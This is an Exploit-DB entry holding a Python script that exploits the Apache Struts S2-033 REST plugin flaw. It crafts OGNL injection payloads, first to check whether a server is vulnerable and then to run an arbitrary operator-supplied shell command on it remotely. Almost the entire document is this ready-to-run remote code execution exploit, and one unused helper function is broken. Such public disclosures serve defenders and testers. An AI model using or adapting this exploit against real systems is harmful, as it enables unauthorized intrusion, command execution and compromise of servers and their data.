Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution

EDB-ID:

43382


Author:

nixawk

Type:

remote


Platform:

Multiple

Date:

2017-06-06


#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import random
import base64


upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]


def rand_base(length, bad, chars):
    '''generate a random string with chars collection'''
    cset = (set(chars) - set(list(bad)))
    if len(cset) == 0:
        return ""
    chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
    chars = map(str, chars)
    return "".join(chars)


def rand_char(bad='', chars=allchars):
    '''generate a random char with chars collection'''
    return rand_base(1, bad, chars)


def rand_text(length, bad='', chars=allchars):
    '''generate a random string (cab be with unprintable chars)'''
    return rand_base(length, bad, chars)


def rand_text_alpha(length, bad=''):
    '''generate a random string with alpha chars'''
    chars = upperAlpha + lowerAlpha
    return rand_base(length, bad, set(chars))


def rand_text_alpha_lower(length, bad=''):
    '''generate a random lower string with alpha chars'''
    return rand_base(length, bad, set(lowerAlpha))


def rand_text_alpha_upper(length, bad=''):
    '''generate a random upper string with alpha chars'''
    return rand_base(length, bad, set(upperAlpha))


def rand_text_alphanumeric():
    '''generate a random string with alpha and numerals chars'''
    chars = upperAlpha + lowerAlpha + numerals
    return rand_base(length, bad, set(chars))


def rand_text_numeric(length, bad=''):
    '''generate a random string with numerals chars'''
    return rand_base(length, bad, set(numerals))


def generate_rce_payload(code):
    '''generate apache struts2 s2-033 payload.
    '''
    payload = ""
    payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload += ","
    payload += requests.utils.quote(code)
    payload += ","
    payload += requests.utils.quote("#xx.toString.json")
    payload += "?"
    payload += requests.utils.quote("#xx:#request.toString")
    return payload


def check(url):
    '''check if url is vulnerable to apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)
    flag = rand_text_alpha(5)

    addend_one = int(rand_text_numeric(2))
    addend_two = int(rand_text_numeric(2))
    addend_sum = addend_one + addend_two

    code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
    code += "#{var_a}.print(#parameters.{var_b}[0]),"
    code += "#{var_a}.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
    ))

    url = url + "/" + payload
    resp = requests.post(url, data={ var_b: flag }, timeout=8)

    vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
    if resp and resp.status_code == 200 and vul_flag in resp.text:
        return True, resp.text

    return False, ''


def exploit(url, cmd):
    '''exploit url with apache struts2 S2-033.
    '''
    var_a = rand_text_alpha(4)
    var_b = rand_text_alpha(4)   # cmd

    code =  "#{var_a}=new sun.misc.BASE64Decoder(),"
    # code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))"  # Error 500

    code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
    code += "#wr.println(#rs),#wr.flush(),#wr.close()"

    payload = generate_rce_payload(code.format(
        var_a=var_a, var_b=var_b
    ))

    url = url + "/" + payload
    requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)



if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("[*] python {} <url> <cmd>".format(sys.argv[0]))
        sys.exit(1)

    url = sys.argv[1]
    cmd = sys.argv[2]

    print(check(url))
    exploit(url, cmd)


## References

# 1. https://github.com/rapid7/metasploit-framework/pull/6945